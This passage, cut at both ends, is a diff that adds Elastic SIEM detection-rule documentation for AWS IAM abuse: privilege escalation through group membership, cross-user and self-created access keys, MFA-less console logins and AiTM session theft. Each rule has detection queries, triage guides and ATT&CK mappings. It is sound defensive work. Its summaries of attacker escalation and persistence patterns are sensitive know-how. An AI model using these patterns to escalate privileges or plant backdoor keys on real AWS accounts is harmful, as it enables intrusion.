analysis* + + +- Approved infrastructure-as-code or onboarding Lambdas may perform these calls. Tune on execution role ARN or tags. + + +*Response and remediation* + + +- If unauthorized: disable the function, revoke or rotate the execution role credentials, remove rogue IAM users, roles, + instance profiles, or keys, detach or delete unintended policies, and review permission boundaries on the role. + + +*Additional information* + + +- https://docs.aws.amazon.com/IAM/latest/APIReference/[IAM API reference] +- https://docs.aws.amazon.com/lambda/latest/dg/lambda-intro-execution-role.html[Lambda execution role] + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "iam.amazonaws.com" + and event.outcome: "success" + and aws.cloudtrail.user_identity.type: "AssumedRole" + and ( + aws.cloudtrail.user_identity.invoked_by: "lambda.amazonaws.com" + or user_agent.original : *AWS_Lambda* + ) + and event.action: ( + "AddRoleToInstanceProfile" or + "AddUserToGroup" or + "AttachGroupPolicy" or + "AttachRolePolicy" or + "AttachUserPolicy" or + "CreateAccessKey" or + "CreateInstanceProfile" or + "CreateRole" or + "CreateUser" or + "PutRolePolicy" or + "PutUserPolicy" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Cloud Account +** ID: T1136.003 +** Reference URL: https://attack.mitre.org/techniques/T1136/003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-user-addition-to-group.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-user-addition-to-group.asciidoc new file mode 100644 index 0000000000..a0ca0b8d0b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-user-addition-to-group.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-34-aws-iam-user-addition-to-group]] +=== AWS IAM User Addition to Group + +Identifies the addition of a user to a specified group in AWS Identity and Access Management (IAM). Any user added to a group automatically gains the permissions that are assigned to the group. If the target group carries elevated or admin privileges, this action can instantly grant high-risk permissions useful for credential misuse, lateral movement, or privilege escalation. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Use Case: Identity and Access Audit +* Tactic: Credential Access +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS IAM + +*Version*: 216 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM User Addition to Group* + + +This rule detects when an IAM user is added to an IAM group via the `AddUserToGroup` API call. If the target group holds elevated privileges, this action may immediately grant that user wide-ranging access useful for credential misuse or lateral movement. This rule helps detect unauthorized privilege escalation via group membership change. Treat as high-risk when the destination group has wide scope (e.g., AdministratorAccess or permissive inline policies). + + +*Possible investigation steps* + + +- **Identify the actor and target** + - Check `aws.cloudtrail.user_identity.arn` for who added the user. + - From `aws.cloudtrail.request_parameters`, capture `userName` (added user) and `groupName` (destination group). + - Check `source.ip`, `user_agent.original`, `cloud.region` for unusual patterns. + +- **Examine the group’s privileges** + - Use `GetGroup`, `ListAttachedGroupPolicies` to see what policies the group holds. Look for `AdministratorAccess`, `iam:*`, `s3:*`, `ec2:*` or cross-account permissions. + - Check whether the group was recently created (`CreateGroup`) or recently escalated (`AttachGroupPolicy`). Common attacker pattern: create > attach policy > add user. + +- **Correlate with surrounding activity** + - Look for preceding events by the actor: `AssumeRole`, `GetSessionToken`, `CreateAccessKey`, `AttachGroupPolicy`. + - Follow the added user’s activities after group membership. Look for sensitive operations (e.g., IAM actions, S3 policy changes, EC2 snapshot/AMI activity). + + + +*False positive analysis* + + +- Onboarding or role transitions may legitimately add users to groups. +- Automated Identity-Management pipelines may add many users to service groups; validate know + + +*Response and remediation* + + +- **Containment**: + - If unapproved, remove the user from the group immediately (`RemoveUserFromGroup`) and rotate their access keys. + - Temporarily restrict group policy changes while assessing blast radius. + +- **Investigation and scoping**: + - Review all actions executed by the newly added user since the change (ex: PutBucketPolicy, CreateAccessKey, PassRole). + - Confirm whether other users were added to the same group within the same window. + +- **Recovery and hardening**: + - Enforce least privilege by redesigning large-group membership. + - Restrict `iam:AddUserToGroup` to only appropriate service principals with approval workflow. + - Create detections for AttachGroupPolicy to powerful policies and for mass AddUserToGroup patterns. + + +*Additional information* + +https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Security Best Practices] + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail and + event.provider: iam.amazonaws.com and + event.action: AddUserToGroup and + event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-user-console-login-from-multiple-geolocations.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-user-console-login-from-multiple-geolocations.asciidoc new file mode 100644 index 0000000000..f876c6231f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-user-console-login-from-multiple-geolocations.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-34-aws-iam-user-console-login-from-multiple-geolocations]] +=== AWS IAM User Console Login from Multiple Geolocations + +Identifies an IAM user that successfully signs in to the AWS Management Console from two or more distinct countries within a short window. A single user authenticating from multiple geographic locations in a brief period is physically implausible and indicates that the account's credentials or console session are being used from more than one place at once. This is a hallmark of adversary-in-the-middle (AiTM) phishing and session theft, where the legitimate user signs in from their location while the attacker replays the captured session or credentials from their own infrastructure. Because the attacker logs in from a different network, the divergent sign-in geolocations are the detectable signal even when MFA appears satisfied (AiTM relays the live MFA challenge). This is the CloudTrail-native analog of identity-provider impossible-travel sign-in detections. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-65m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://securitylabs.datadoghq.com/articles/behind-the-console-aws-aitm-phishing-kit-and-beyond/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Sign-In +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Rule Type: ES|QL +* Platform: AWS +* Service: AWS IAM + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM User Console Login from Multiple Geolocations* + + +This rule aggregates successful "ConsoleLogin" events for each IAM user over the lookback window and alerts when the logins originate from two or more distinct countries. Concurrent sign-ins from different geographies indicate the credentials or console session are in use from more than one location, a strong signal of adversary-in-the-middle (AiTM) phishing or session theft. AiTM relays the victim's live MFA, so the console login records MFA as used; the divergent geolocations, not the MFA field, are the indicator. + + +*Possible investigation steps* + + +- Review "Esql.source_geo_country_iso_code_values" and "Esql.source_ip_values" to identify the locations and networks, and determine which (if any) is the user's expected origin. +- Compare "Esql.timestamp_min" and "Esql.timestamp_max" to assess how implausible the travel is. +- Identify the user in "aws.cloudtrail.user_identity.arn" and check for hands-on-keyboard activity immediately after the logins (CreateAccessKey, login profile or MFA changes, IAM policy changes, data access). +- Determine whether any of the source networks are VPNs, proxies, or hosting providers inconsistent with the user. + + +*False positive analysis* + + +- VPN/proxy exit nodes, border travel, and mobile roaming can place a legitimate user in multiple countries. Confirm the activity is expected and exclude known networks after validation. Shared IAM users will also trigger this and should be remediated. + + +*Response and remediation* + + +- If unauthorized, revoke the user's console sessions, reset the password and MFA, and rotate access keys. +- Review and revert changes made during the sessions, and migrate console access to IAM Identity Center with phishing-resistant MFA (FIDO2/passkeys), which defeats AiTM relay. + + +*Additional information* + + +- https://docs.aws.amazon.com/IAM/latest/UserGuide/cloudtrail-integration.html[AWS sign-in CloudTrail events] + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-aws.cloudtrail-* +| WHERE event.provider == "signin.amazonaws.com" + AND event.action == "ConsoleLogin" + AND event.outcome == "success" + AND aws.cloudtrail.user_identity.type == "IAMUser" + AND source.geo.country_iso_code IS NOT NULL +| STATS + Esql.source_geo_country_iso_code_count_distinct = COUNT_DISTINCT(source.geo.country_iso_code), + Esql.source_as_organization_name_count_distinct = COUNT_DISTINCT(source.as.organization.name), + Esql.source_ip_values = VALUES(source.ip), + Esql.source_geo_country_iso_code_values = VALUES(source.geo.country_iso_code), + Esql.timestamp_min = MIN(@timestamp), + Esql.timestamp_max = MAX(@timestamp) + BY aws.cloudtrail.user_identity.arn, cloud.account.id +| WHERE Esql.source_geo_country_iso_code_count_distinct >= 2 +| KEEP aws.cloudtrail.user_identity.arn, cloud.account.id, Esql.source_geo_country_iso_code_count_distinct, Esql.source_as_organization_name_count_distinct, Esql.source_ip_values, Esql.source_geo_country_iso_code_values, Esql.timestamp_min, Esql.timestamp_max + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Web Session Cookie +** ID: T1539 +** Reference URL: https://attack.mitre.org/techniques/T1539/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-user-console-login-without-mfa.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-user-console-login-without-mfa.asciidoc new file mode 100644 index 0000000000..3e2e65f6c4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-user-console-login-without-mfa.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-34-aws-iam-user-console-login-without-mfa]] +=== AWS IAM User Console Login Without MFA + +Identifies the first observed occurrence, within the configured New Terms history window, of a regular IAM user successfully signing in to the AWS Management Console without multi-factor authentication. A password alone is a weaker control than password-plus-MFA, and an adversary who has phished, guessed, or otherwise obtained a user's password can sign in directly if MFA is not enforced for that user. This rule is scoped to standard IAM users only; it excludes the AWS root user (covered by a dedicated rule) and federated/SSO sign-ins (covered by a dedicated rule that also accounts for IdP-side MFA), since MFAUsed: No is expected in both of those cases for reasons unrelated to this gap. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa.html +* https://stratus-red-team.cloud/attack-techniques/AWS/aws.initial-access.console-login-without-mfa/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Sign-In +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS IAM + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM User Console Login Without MFA* + + +This rule identifies a standard IAM user (not root, not a federated/SSO sign-in) successfully signing in to the AWS +Management Console where CloudTrail's `additionalEventData.MFAUsed` field is `No`. A username and password are +comparatively easy for an adversary to obtain through phishing, credential stuffing, or password reuse; MFA is the +control that prevents a stolen password alone from granting console access. + +This is a https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule[New Terms] +rule and fires the first time each `user.id` is observed signing in without MFA within the configured history window (7d). + + +*Possible investigation steps* + + +- **Confirm MFA enrollment status**: check whether the user has an MFA device registered at all. If not, this may + simply reflect that MFA is not yet enforced for this user rather than an active compromise. +- **Review source context**: check `source.ip`, `source.geo`, and `user_agent.original` for anomalies relative to the + user's normal sign-in pattern. +- **Correlate with recent credential exposure**: check for recent password resets, phishing reports, or leaked + credential alerts involving this user. +- **Review post-login activity**: examine what the user did in the console session immediately following sign-in for + any unusual or high-privilege actions. + + +*False positive analysis* + + +- Environments without a blanket MFA enforcement policy will see this for every user's first sign-in. Use this rule + to drive MFA adoption; if MFA is not currently mandated, treat repeated occurrences as a posture gap rather than an + incident, and consider excluding known-legacy or service-adjacent IAM users that cannot use MFA. + + +*Response and remediation* + + +- If this sign-in is unexpected or the source is anomalous, treat the user's credentials as potentially compromised: + force a password reset and review recent console/API activity for the account. +- Enforce MFA for all IAM users capable of console access, via IAM policy conditions (`aws:MultiFactorAuthPresent`) or + an SCP, and prioritize enrolling any user identified by this rule. +- Consider moving console access to federated/SSO sign-in with IdP-enforced MFA rather than IAM user passwords. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "signin.amazonaws.com" + and event.action: "ConsoleLogin" + and event.outcome: "success" + and aws.cloudtrail.user_identity.type: "IAMUser" + and aws.cloudtrail.console_login.additional_eventdata.mfa_used: false + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-user-created-access-keys-for-another-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-user-created-access-keys-for-another-user.asciidoc new file mode 100644 index 0000000000..91eafc6473 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-user-created-access-keys-for-another-user.asciidoc @@ -0,0 +1,210 @@ +[[prebuilt-rule-8-19-34-aws-iam-user-created-access-keys-for-another-user]] +=== AWS IAM User Created Access Keys For Another User + +An adversary with access to a set of compromised credentials may attempt to persist or escalate privileges by creating a new set of credentials for an existing user. This rule looks for use of the IAM `CreateAccessKey` API operation to create new programmatic access keys for another IAM user. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamcreateaccesskey +* https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence +* https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateAccessKey.html + +*Tags*: + +* Domain: Cloud +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS IAM +* Tactic: Persistence +* Tactic: Privilege Escalation +* Rule Type: ES|QL +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal + +*Version*: 16 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM User Created Access Keys For Another User* + + +AWS IAM access keys are long-term credentials that grant programmatic access to AWS resources. The `iam:CreateAccessKey` permission allows an IAM principal to generate new access keys for an existing IAM user. +While this operation can be legitimate (for example, credential rotation), it can also be abused to establish persistence or privilege escalation if one user creates keys for another account without authorization. + +This rule identifies `CreateAccessKey` API calls where the calling user (`aws.cloudtrail.user_identity.arn`) differs from the target user (`aws.cloudtrail.request_parameters.userName`), indicating one IAM identity creating credentials for another. + + +*Possible investigation steps* + + +- **Confirm both user identities and intent.** + Identify the calling user (who performed `CreateAccessKey`) and the target user (whose access key was created). Contact both account owners or application teams to confirm if this operation was expected. + +- **Review CloudTrail event details.** + Check the following fields directly in the alert or corresponding CloudTrail record: + - `source.ip` — does it align with expected corporate ranges or known admin automation? + - `user_agent.original` — AWS Console, CLI, SDK, or custom client? Unexpected user agents (for example, non-SDK scripts) may indicate manual or unauthorized use. + - `source.geo` fields — verify the location details are expected for the identity. + +- **Correlate with related IAM activity.** + In CloudTrail, search for subsequent or nearby events such as: + - `AttachUserPolicy`, `AttachGroupPolicy`, `UpdateAssumeRolePolicy`, or `CreateUser`. + These can indicate privilege escalation or lateral movement. + Also review whether the same principal recently performed `CreateAccessKey` for multiple users or repeated this action across accounts. + +- **Inspect the new access key’s usage.** + Search for the newly created key ID (`aws.cloudtrail.response_elements.accessKey.accessKeyId`) in CloudTrail events following creation. Determine if it was used from unusual IP addresses, geographies, or services. + +- **Assess the risk of credential compromise.** + If you suspect malicious behavior, consider the following indicators: + - A non-admin user invoking `CreateAccessKey` for another user. + - Creation outside of normal automation pipelines. + - Use of the new key from a different IP or AWS account soon after creation. + +- **Scope related activity.** + Review all activity from the calling user in the past 24–48 hours, focusing on `iam:*` API calls and resource creation events. + Correlate any S3, EC2, or KMS access attempts made using the new key to identify potential impact or data exposure. + + +*False positive analysis* + + +- **Expected credential rotation.** + Some environments delegate credential rotation responsibilities to centralized automation or specific admin roles. Confirm if the calling user is authorized for such actions. +- **Administrative workflows.** + Account provisioning systems may legitimately create keys on behalf of users. Check for standard tags, automation tools, or user agents that indicate managed operations. +- **Service-linked roles or external IAM automation.** + Some AWS services create or rotate credentials automatically. Validate if the caller is a service-linked role or an automation IAM role used by a known deployment process. + + +*Response and remediation* + + +**Immediate containment** +- Deactivate or delete the access key from the target IAM user immediately using the AWS Console, CLI, or API (`DeleteAccessKey`). +- Rotate or reset credentials for both the calling and target users to eliminate possible compromise. +- Restrict risky principals. Temporarily deny `iam:CreateAccessKey` and `iam:UpdateAccessKey` permissions for non-administrative roles while scoping the incident. +- Enable or confirm MFA on both accounts involved, if not already enforced. + +**Evidence preservation** +- Export all related `CreateAccessKey`, `DeleteAccessKey`, and `UpdateAccessKey` events within ±30 minutes of the alert to an evidence bucket. +- Preserve CloudTrail, GuardDuty, and AWS Config data for the same period. +- Record key event details: caller ARN, target user, `accessKeyId`, `source.ip`, `userAgent`, and timestamps. + +**Scoping and investigation** +- Search CloudTrail for usage of the new access key ID after creation. Identify any API activity or data access tied to it. +- Review IAM policy changes, group modifications, or new role assumptions around the same time. +- Determine if any additional credentials or trust policy changes were made by the same actor. +- Check for GuardDuty findings referencing anomalous credential usage or suspicious API behavior. + +**Recovery and hardening** +- Remove or disable any unauthorized keys and re-enable only verified credentials. +- Implement least-privilege IAM policies to limit which users can perform `CreateAccessKey`. +- Monitor for future `CreateAccessKey` events where `userIdentity.arn != request_parameters.userName`. +- Ensure Cloudtrail, GuardDuty and Security Hub are active across all regions. +- Educate administrative users on secure key rotation processes and the risk of cross-user key creation. + + +*Additional information* + + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]:** Reference “Credential Compromise” and “IAM Misuse” procedures for containment and recovery. +- **https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]:** See “Identity Access Review” and “Unauthorized Access Key Creation” for example response flows. +- **AWS Documentation:** https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_access-keys.html[Best practices for managing access keys]. +- **Security Best Practices:** https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws.cloudtrail-* metadata _id, _version, _index +| where data_stream.dataset == "aws.cloudtrail" + and event.provider == "iam.amazonaws.com" + and event.action == "CreateAccessKey" + and event.outcome == "success" + and user.name != user.target.name + and not to_lower(user_agent.original) like "*terraform*" + and not to_lower(user_agent.original) like "*pulumi*" + and not to_lower(user_agent.original) like "*ansible*" +| keep + @timestamp, + cloud.account.id, + cloud.region, + event.provider, + event.action, + event.outcome, + data_stream.dataset, + user.name, + source.address, + source.ip, + user.target.name, + user_agent.original, + aws.cloudtrail.request_parameters, + aws.cloudtrail.response_elements, + aws.cloudtrail.user_identity.arn, + aws.cloudtrail.user_identity.type, + aws.cloudtrail.user_identity.access_key_id, + source.geo.*, + _id, + _version, + _index + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-user-self-created-access-key-subsequently-used.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-user-self-created-access-key-subsequently-used.asciidoc new file mode 100644 index 0000000000..6213cb8976 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-iam-user-self-created-access-key-subsequently-used.asciidoc @@ -0,0 +1,227 @@ +[[prebuilt-rule-8-19-34-aws-iam-user-self-created-access-key-subsequently-used]] +=== AWS IAM User Self-Created Access Key Subsequently Used + +Detects an AWS IAM user using an existing credential to create a new access key for itself and subsequently using the new key within one hour. This behavior can indicate an adversary converting compromised credentials into an additional long-term credential for persistence. Unlike a standalone self-service key creation alert, requiring subsequent use of the new key reduces noise from unused or abandoned credential-rotation operations. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-35m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://hackingthe.cloud/aws/exploitation/iam_privilege_escalation/#iamcreateaccesskey +* https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateAccessKey.html +* https://github.com/RhinoSecurityLabs/pacu/tree/master/pacu/modules/iam__backdoor_users_keys + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS IAM +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: ES|QL +* Platform: AWS +* Service: AWS IAM + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS IAM User Self-Created Access Key Subsequently Used* + + +This rule detects an IAM user using an existing access key (Token A) to create a new access key for itself (Token B), followed by an AWS API request authenticated with Token B within one hour. The creation event proves that Token A was used to request the additional credential, while the subsequent CloudTrail event confirms that Token B became active. + +This sequence can indicate persistence after an IAM user's credentials are compromised. An adversary can use the compromised key to create another long-term credential, then continue accessing the account through the new key even after the original credential is identified and disabled. + + +*Possible investigation steps* + + +- Identify the IAM user and AWS account using `aws.cloudtrail.user_identity.arn` and `cloud.account.id`. +- Review Token A in `Esql_priv.aws_cloudtrail_user_identity_access_key_id_creator_values`. Determine whether it is an expected credential for the IAM user and whether it was previously observed from unusual infrastructure. +- Confirm that the key in `Esql_priv.aws_cloudtrail_response_elements_access_key_access_key_id_values` matches the subsequently used key in `Esql_priv.aws_cloudtrail_user_identity_access_key_id_created_key_use_values`. +- Compare `Esql.source_ip_self_access_key_creation_values` with `Esql.source_ip_created_access_key_use_values`. A rapid change in source IP, ASN, geography, or hosting provider increases suspicion. +- Compare `Esql.user_agent_original_self_access_key_creation_values` with `Esql.user_agent_original_created_access_key_use_values` to identify changes between the creation and use clients. +- Review `Esql.event_action_created_access_key_use_values` to determine what Token B accessed or modified after creation. +- Examine nearby CloudTrail activity for IAM reconnaissance, MFA changes, login-profile changes, policy modifications, or attempts to create additional credentials. +- Confirm whether the activity corresponds to an approved credential-rotation workflow and whether the user is permitted to create its own long-term access keys. + + +*False positive analysis* + + +- Approved credential-rotation automation may create and immediately test or use a replacement access key. +- Developer onboarding or recovery workflows may create a key and validate it with an initial AWS API request. +- Validate the principal, source addresses, user agents, timing, and change records before excluding the activity. Prefer narrowly scoped exceptions for verified automation rather than excluding the IAM user broadly. + + +*Response and remediation* + + +- If unauthorized, deactivate or delete Token B immediately. +- Rotate or disable Token A and investigate how it was exposed or compromised. +- Review every CloudTrail event authenticated with Token B and determine whether it accessed data, changed IAM permissions, created resources, or established additional persistence. +- Review the IAM user's policies and remove unnecessary `iam:CreateAccessKey` permissions. +- Prefer temporary credentials and IAM Identity Center for human access instead of long-term IAM user access keys. +- Preserve the relevant CloudTrail events, access key IDs, source addresses, and user-agent values for incident response. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-aws.cloudtrail-* +| WHERE data_stream.dataset == "aws.cloudtrail" + AND ( + ( + event.provider == "iam.amazonaws.com" + AND event.action == "CreateAccessKey" + AND event.outcome == "success" + AND aws.cloudtrail.user_identity.type == "IAMUser" + ) + OR ( + aws.cloudtrail.user_identity.type == "IAMUser" + AND aws.cloudtrail.user_identity.access_key_id LIKE "AKIA*" + AND NOT ( + event.provider == "iam.amazonaws.com" + AND event.action == "CreateAccessKey" + ) + ) + ) +| GROK aws.cloudtrail.response_elements """.*accessKeyId=(?AKIA[A-Z0-9]{16}).*""" +| EVAL + Esql.aws_cloudtrail_self_access_key_creation_flag = CASE( + event.provider == "iam.amazonaws.com" + AND event.action == "CreateAccessKey" + AND event.outcome == "success" + AND aws.cloudtrail.user_identity.type == "IAMUser" + AND ( + user.target.name IS NULL + OR user.name == user.target.name + ) + AND Esql_priv.aws_cloudtrail_response_elements_access_key_access_key_id IS NOT NULL, + 1, + 0 + ), + Esql.aws_cloudtrail_created_access_key_use_flag = CASE( + aws.cloudtrail.user_identity.type == "IAMUser" + AND aws.cloudtrail.user_identity.access_key_id LIKE "AKIA*" + AND NOT ( + event.provider == "iam.amazonaws.com" + AND event.action == "CreateAccessKey" + ), + 1, + 0 + ) +| EVAL + Esql_priv.aws_cloudtrail_user_identity_access_key_id_creator = CASE( + Esql.aws_cloudtrail_self_access_key_creation_flag == 1, + aws.cloudtrail.user_identity.access_key_id, + null + ), + Esql_priv.aws_cloudtrail_access_key_id_correlation = CASE( + Esql.aws_cloudtrail_self_access_key_creation_flag == 1, + Esql_priv.aws_cloudtrail_response_elements_access_key_access_key_id, + aws.cloudtrail.user_identity.access_key_id + ) +| WHERE Esql_priv.aws_cloudtrail_access_key_id_correlation IS NOT NULL + AND aws.cloudtrail.user_identity.arn IS NOT NULL +| STATS + Esql.aws_cloudtrail_self_access_key_creation_count = + COUNT(*) WHERE Esql.aws_cloudtrail_self_access_key_creation_flag == 1, + Esql.aws_cloudtrail_created_access_key_use_count = + COUNT(*) WHERE 